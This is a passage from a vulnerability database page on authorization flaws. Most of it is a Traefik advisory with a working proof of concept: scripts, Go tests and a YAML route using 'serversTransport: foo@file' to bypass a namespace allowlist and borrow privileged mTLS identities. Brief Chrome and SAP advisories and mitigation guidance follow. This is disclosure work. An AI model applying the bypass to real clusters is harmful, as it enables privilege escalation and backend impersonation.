    Certificates: st.TLS.Certificates.GetCertificates(),
}
The accepted `foo@file` reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T21:53:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium-severity cross-provider reference vulnerability in Traefik\u0027s Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` \u2014 including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes CRD provider enforces `crossProviderNamespaces` for several\ncross-provider references, but `IngressRouteTCP` service\n`serversTransport` references skip that allowlist. A low-privileged Kubernetes\nuser in a namespace that is not listed in `crossProviderNamespaces` can still\nset `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik\naccepts the forbidden cross-provider reference and later uses the referenced\n`TCPServersTransport`, including privileged backend mTLS client certificates,\nSPIFFE identity, or PROXY protocol settings.\n\n## Description\n\n`crossProviderNamespaces` is documented and implemented as an allowlist for\nnamespaces that may declare cross-provider references from Kubernetes CRD\nobjects. HTTP `serversTransport` references enforce that allowlist. TCP\n`serversTransport` references do not.\n\nAn attacker with low Kubernetes privileges in namespace `default` can create an\n`IngressRouteTCP` service with:\n\n```yaml\nserversTransport: foo@file\n```\n\nEven when the provider is configured with:\n\n```yaml\ncrossProviderNamespaces:\n  - operator-only\n```\n\nTraefik still emits a TCP dynamic service whose load balancer points to\n`foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced\ntransport name and applies that transport\u0027s TLS client certificates and related\nbackend-connection settings.\n\n## Impact\n\nThe PoC demonstrates two positive facts:\n\n1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and\n   store `LoadBalancer.ServersTransport = \"foo@file\"` from an\n   `IngressRouteTCP` service.\n2. A qualified `foo@file` `TCPServersTransport` with a client certificate is\n   actually consumed by the TCP dialer and presented to an mTLS backend.\n\nThis proves a backend identity relay primitive: a lower-privileged CRD author\ncan make Traefik connect to a backend using an operator-defined cross-provider\ntransport identity that the namespace should not be allowed to reference.\n\n## Proof Of Concept\n\n### Files\n\n- `run.sh`: portable runner.\n- `poc_crd_test.go`: positive CRD provider proof.\n- `with_servers_transport_cross_provider_poc.yml`: minimal\n  `IngressRouteTCP` fixture.\n- `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof.\n\n\u003cdetails\u003e\n\u003csummary\u003erun.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap \u0027rm -rf \"$WORKDIR\"\u0027 EXIT INT TERM\nfi\n\necho \"[*] target_ref=$TARGET_REF\"\necho \"[*] workdir=$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\techo \"[*] cloning from local source: $TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\techo \"[*] cloning from remote: $REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/crd/fixtures/tcp\ncp \"$SCRIPT_DIR/poc_crd_test.go\" \\\n\t pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go\ncp \"$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml\" \\\n\t pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml\ncp \"$SCRIPT_DIR/poc_tcp_mtls_test.go\" \\\n\t pkg/tcp/dialer_cross_provider_identity_poc_test.go\n\necho \"[*] running CRD provider policy-bypass PoC\"\ngo test ./pkg/provider/kubernetes/crd \\\n\t-run \u0027^TestPoCTCPServersTransportCrossProviderNamespacesBypass$\u0027 \\\n\t-count=1 -v\n\necho \"[*] running TCPServersTransport mTLS identity-use PoC\"\ngo test ./pkg/tcp \\\n\t-run \u0027^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$\u0027 \\\n\t-count=1 -v\n\necho \"POC_RESULT=PASS\"\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_crd_test.go\u003c/summary\u003e\n\n```go\npackage crd\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\ttraefikcrdfake \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {\n\tk8sObjects, crdObjects := readResources(t, []string{\n\t\t\"tcp/services.yml\",\n\t\t\"tcp/with_servers_transport_cross_provider_poc.yml\",\n\t})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tcrdClient := traefikcrdfake.NewClientset(crdObjects...)\n\tclient := newClientImpl(kubeClient, crdClient)\n\n\tstopCh := make(chan struct{})\n\tdefer close(stopCh)\n\n\teventCh, err := client.WatchAll(nil, stopCh)\n\trequire.NoError(t, err)\n\t\u003c-eventCh\n\n\tprovider := Provider{\n\t\tAllowCrossNamespace:     true,\n\t\tCrossProviderNamespaces: []string{\"operator-only\"},\n\t}\n\n\tconf := provider.loadConfigurationFromCRD(t.Context(), client)\n\tservice := conf.TCP.Services[\"default-test.route-fdd3e9338e47a45efefc\"]\n\trequire.NotNil(t, service)\n\trequire.NotNil(t, service.LoadBalancer)\n\trequire.Equal(t, \"foo@file\", service.LoadBalancer.ServersTransport)\n\trequire.NotEmpty(t, service.LoadBalancer.Servers)\n\trequire.True(t, service.LoadBalancer.Servers[0].TLS)\n\n\tt.Logf(\"POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v\",\n\t\tprovider.CrossProviderNamespaces,\n\t\tservice.LoadBalancer.ServersTransport,\n\t\tservice.LoadBalancer.Servers[0].TLS)\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003epoc_tcp_mtls_test.go\u003c/summary\u003e\n\n```go\npackage tcp\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/big\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\ttraefiktls \"github.com/traefik/traefik/v3/pkg/tls\"\n\t\"github.com/traefik/traefik/v3/pkg/types\"\n)\n\nfunc TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {\n\tpki := newPoCPKI(t)\n\n\tdialerManager := NewDialerManager(nil)\n\tdialerManager.Update(map[string]*dynamic.TCPServersTransport{\n\t\t\"foo@file\": {\n\t\t\tTLS: \u0026dynamic.TLSClientConfig{\n\t\t\t\tServerName: \"example.com\",\n\t\t\t\tRootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},\n\t\t\t\tCertificates: traefiktls.Certificates{\n\t\t\t\t\ttraefiktls.Certificate{\n\t\t\t\t\t\tCertFile: types.FileOrContent(pki.clientCertPEM),\n\t\t\t\t\t\tKeyFile:  types.FileOrContent(pki.clientKeyPEM),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\n\tbackendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)\n\tdefer closeBackend()\n\n\tdialer, err := dialerManager.Build(\u0026dynamic.TCPServersLoadBalancer{ServersTransport: \"foo@file\"}, true)\n\trequire.NoError(t, err)\n\n\tconn, err := dialer.Dial(\"tcp\", backendAddr, nil)\n\trequire.NoError(t, err)\n\tdefer conn.Close()\n\n\t_, err = conn.Write([]byte(\"ping\"))\n\trequire.NoError(t, err)\n\n\tbuf := make([]byte, 4)\n\t_, err = io.ReadFull(conn, buf)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"PONG\", string(buf))\n\n\tvar cn string\n\tselect {\n\tcase cn = \u003c-peerCN:\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend peer certificate\")\n\t}\n\n\tselect {\n\tcase err := \u003c-done:\n\t\trequire.NoError(t, err)\n\tcase \u003c-time.After(time.Second):\n\t\tt.Fatal(\"timed out waiting for backend completion\")\n\t}\n\n\tt.Logf(\"POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q\",\n\t\t\"foo@file\", cn, string(buf))\n}\n\nfunc newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, \u003c-chan string, \u003c-chan error, func()) {\n\tt.Helper()\n\n\tserverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)\n\trequire.NoError(t, err)\n\n\tclientPool := x509.NewCertPool()\n\trequire.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))\n\n\tlistener, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\trequire.NoError(t, err)\n\n\ttlsListener := tls.NewListener(listener, \u0026tls.Config{\n\t\tCertificates: []tls.Certificate{serverCert},\n\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\tClientCAs:    clientPool,\n\t})\n\n\tpeerCN := make(chan string, 1)\n\tdone := make(chan error, 1)\n\n\tgo func() {\n\t\tconn, err := tlsListener.Accept()\n\t\tif err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tdefer conn.Close()\n\n\t\ttlsConn, ok := conn.(*tls.Conn)\n\t\tif !ok {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected connection type %T\", conn)\n\t\t\treturn\n\t\t}\n\n\t\tif err := tlsConn.Handshake(); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\n\t\tstate := tlsConn.ConnectionState()\n\t\tif len(state.PeerCertificates) == 0 {\n\t\t\tdone \u003c- fmt.Errorf(\"missing peer certificate\")\n\t\t\treturn\n\t\t}\n\t\tpeerCN \u003c- state.PeerCertificates[0].Subject.CommonName\n\n\t\tbuf := make([]byte, 4)\n\t\tif _, err := io.ReadFull(tlsConn, buf); err != nil {\n\t\t\tdone \u003c- err\n\t\t\treturn\n\t\t}\n\t\tif string(buf) != \"ping\" {\n\t\t\tdone \u003c- fmt.Errorf(\"unexpected backend payload %q\", string(buf))\n\t\t\treturn\n\t\t}\n\n\t\t_, err = tlsConn.Write([]byte(\"PONG\"))\n\t\tdone \u003c- err\n\t}()\n\n\treturn listener.Addr().String(), peerCN, done, func() {\n\t\t_ = tlsListener.Close()\n\t}\n}\n\ntype poCPKI struct {\n\tcaCertPEM     []byte\n\tserverCertPEM []byte\n\tserverKeyPEM  []byte\n\tclientCertPEM []byte\n\tclientKeyPEM  []byte\n}\n\nfunc newPoCPKI(t *testing.T) poCPKI {\n\tt.Helper()\n\n\tcaKey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tcaTemplate := \u0026x509.Certificate{\n\t\tSerialNumber:          big.NewInt(1),\n\t\tSubject:               pkix.Name{CommonName: \"poc-ca\"},\n\t\tNotBefore:             time.Now().Add(-time.Minute),\n\t\tNotAfter:              time.Now().Add(time.Hour),\n\t\tKeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,\n\t\tBasicConstraintsValid: true,\n\t\tIsCA:                  true,\n\t}\n\n\tcaDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, \u0026caKey.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tserverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"poc-server\", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})\n\tclientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, \"example.com\", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})\n\n\treturn poCPKI{\n\t\tcaCertPEM:     pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: caDER}),\n\t\tserverCertPEM: serverCertPEM,\n\t\tserverKeyPEM:  serverKeyPEM,\n\t\tclientCertPEM: clientCertPEM,\n\t\tclientKeyPEM:  clientKeyPEM,\n\t}\n}\n\nfunc newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {\n\tt.Helper()\n\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\trequire.NoError(t, err)\n\n\tserial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\trequire.NoError(t, err)\n\n\ttemplate := \u0026x509.Certificate{\n\t\tSerialNumber: serial,\n\t\tSubject:      pkix.Name{CommonName: cn},\n\t\tDNSNames:     []string{\"example.com\"},\n\t\tNotBefore:    time.Now().Add(-time.Minute),\n\t\tNotAfter:     time.Now().Add(time.Hour),\n\t\tKeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,\n\t\tExtKeyUsage:  eku,\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, \u0026key.PublicKey, caKey)\n\trequire.NoError(t, err)\n\n\tkeyDER := x509.MarshalPKCS1PrivateKey(key)\n\n\treturn pem.EncodeToMemory(\u0026pem.Block{Type: \"CERTIFICATE\", Bytes: certDER}),\n\t\tpem.EncodeToMemory(\u0026pem.Block{Type: \"RSA PRIVATE KEY\", Bytes: keyDER})\n}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ewith_servers_transport_cross_provider_poc.yml\u003c/summary\u003e\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRouteTCP\nmetadata:\n  name: test.route\n  namespace: default\n\nspec:\n  entryPoints:\n    - foo\n\n  routes:\n  - match: HostSNI(`foo.com`)\n    priority: 12\n    services:\n    - name: whoamitcp\n      port: 8000\n      tls: true\n      serversTransport: foo@file\n```\n\n\u003c/details\u003e\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.6.21 ./run.sh\n```\n\nOptional local-source override for faster local validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport=\"foo@file\" backend_tls=true\nPOC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=\"foo@file\" peer_cn=\"example.com\" response=\"PONG\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. The provider option is meant to cover IngressRouteTCP\n\n`pkg/provider/kubernetes/crd/kubernetes.go:60`\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references.\" ...`\n```\n\nThis establishes the security invariant: `IngressRouteTCP` cross-provider\nreferences should be gated by `crossProviderNamespaces`.\n\n### 2. TCP service creation forwards the attacker-controlled transport name\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`\n\n```go\nif service.ServersTransport != \"\" {\n\ttcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)\n}\n```\n\nThe attacker-controlled `serversTransport` field is passed into the key builder.\n\n### 3. TCP key builder returns cross-provider names without the allowlist check\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`\n\n```go\nif strings.Contains(serversTransportName, providerNamespaceSeparator) {\n\treturn serversTransportName, nil\n}\n```\n\nThis accepts `foo@file` directly. There is no call to\n`isCrossProviderNamespaceAllowed(...)` on this TCP path.\n\n### 4. HTTP sibling contains the missing authorization gate\n\n`pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`\n\n```go\nif !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {\n\treturn \"\", fmt.Errorf(\"serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces\", ...)\n}\n```\n\nThe HTTP path proves the intended policy: cross-provider `serversTransport`\nreferences should be rejected when the route namespace is not in the allowlist.\n\n### 5. Runtime TCP dialer consumes the exact referenced transport\n\n`pkg/tcp/dialer.go:135-141`\n\n```go\nif config.ServersTransport != \"\" {\n\tname = config.ServersTransport\n}\nst, ok := d.serversTransports[name]\n```\n\n`pkg/tcp/dialer.go:183-188`\n\n```go\ntlsConfig = \u0026tls.Config{\n\tServerName:   st.TLS.ServerName,\n\tCertificates: st.TLS.Certificates.GetCertificates(),\n}\n```\n\nThe accepted `foo@file` reference is not a harmless string. It selects the\ncross-provider transport and applies its client TLS identity during backend\nconnections.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-42cj-m3vj-89wv",
  "modified": "2026-08-05T21:53:35Z",
  "published": "2026-08-05T21:53:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/67501cbe7bc7774e26ecbd1c29af97f098e14b0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass"
}

GHSA-42H3-V289-HVW9

Vulnerability from github – Published: 2021-12-24 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

Insufficient policy enforcement in contacts picker in Google Chrome on Android prior to 96.0.4664.45 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-23T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in contacts picker in Google Chrome on Android prior to 96.0.4664.45 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.",
  "id": "GHSA-42h3-v289-hvw9",
  "modified": "2022-07-13T00:01:34Z",
  "published": "2021-12-24T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38020"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/11/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1259694"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3W46HRT2UVHWSLZB6JZHQF6JNQWKV744"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42QX-RV8J-R8F3

Vulnerability from github – Published: 2023-09-15 18:30 – Updated: 2024-09-29 00:30
VLAI
Details

SAP CommonCryptoLib does not perform necessary authentication checks, which may result in missing or wrong authorization checks for an authenticated user, resulting in escalation of privileges. Depending on the application and the level of privileges acquired, an attacker could abuse functionality restricted to a particular user group as well as read, modify or delete restricted data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T03:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "SAP CommonCryptoLib does not perform necessary authentication checks, which may result in missing or wrong authorization checks for an authenticated user, resulting in escalation of privileges. Depending on the application and the level of privileges acquired,\u00a0an attacker could abuse functionality restricted to a particular user group as well as read, modify or delete restricted data.\n\n",
  "id": "GHSA-42qx-rv8j-r8f3",
  "modified": "2024-09-29T00:30:57Z",
  "published": "2023-09-15T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40309"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3340576"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.